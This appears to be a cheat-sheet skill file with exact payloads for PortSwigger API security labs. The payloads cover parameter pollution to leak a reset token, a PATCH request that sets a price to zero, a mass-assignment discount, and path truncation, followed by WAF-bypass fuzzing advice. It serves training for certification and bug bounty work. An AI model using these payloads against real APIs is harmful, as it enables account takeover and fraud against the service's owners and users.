API Testing — Deep Dive

API Testing — Deep Dive

> Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, > bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• BSCP certification prep
• Real-world bug bounty hunting
• Building exploitation chains
• Understanding bypass techniques

Prerequisites

• Burp Suite Professional
• Burp Collaborator / interactsh
• Browser with proxy configured

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Exploiting documentation 🟢 APPRENTICE

Find /api docs endpoint → discover /api/user/carlos DELETE endpoint → delete user. ---

Lab 2: Server-side param pollution query 🟡 PRACTITIONER

POST /forgot-password HTTP/1.1

username=administrator%26field=reset_token

%26 = & → injects additional parameter into server-side API call → leaks reset token. ---

Lab 3: Unused API endpoint 🟡 PRACTITIONER

Change GET /api/products/1/price to PATCH method:

{"price":0}

→ Buy product for $0. ---

Lab 4: Mass assignment 🟡 PRACTITIONER

{"chosen_discount":{"percentage":100}}

Include discount object in checkout request → 100% discount applied. ---

Lab 5: Param pollution REST URL 🟡 PRACTITIONER

username=administrator#

Server constructs: /api/users/administrator#/field → # truncates path → returns full user object with token. ---

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

| Concept | Description | |---------|-------------| | PortSwigger Vectors | Standardized approaches to vulnerability classes. | | Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

> For cross-cutting methodology applicable to all vulnerability classes, see: > - [_shared/references/elite-chaining-strategy.md](../shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [_shared/references/elite-report-writing.md](../shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [_shared/references/real-world-bounties.md](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

References

• PortSwigger Labs
• PayloadsAllTheThings
• HackTricks

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: ShulkwiSEC
• Source: ShulkwiSEC/bb-huge
• License: MIT

Install and usage instructions live in the source repository linked above.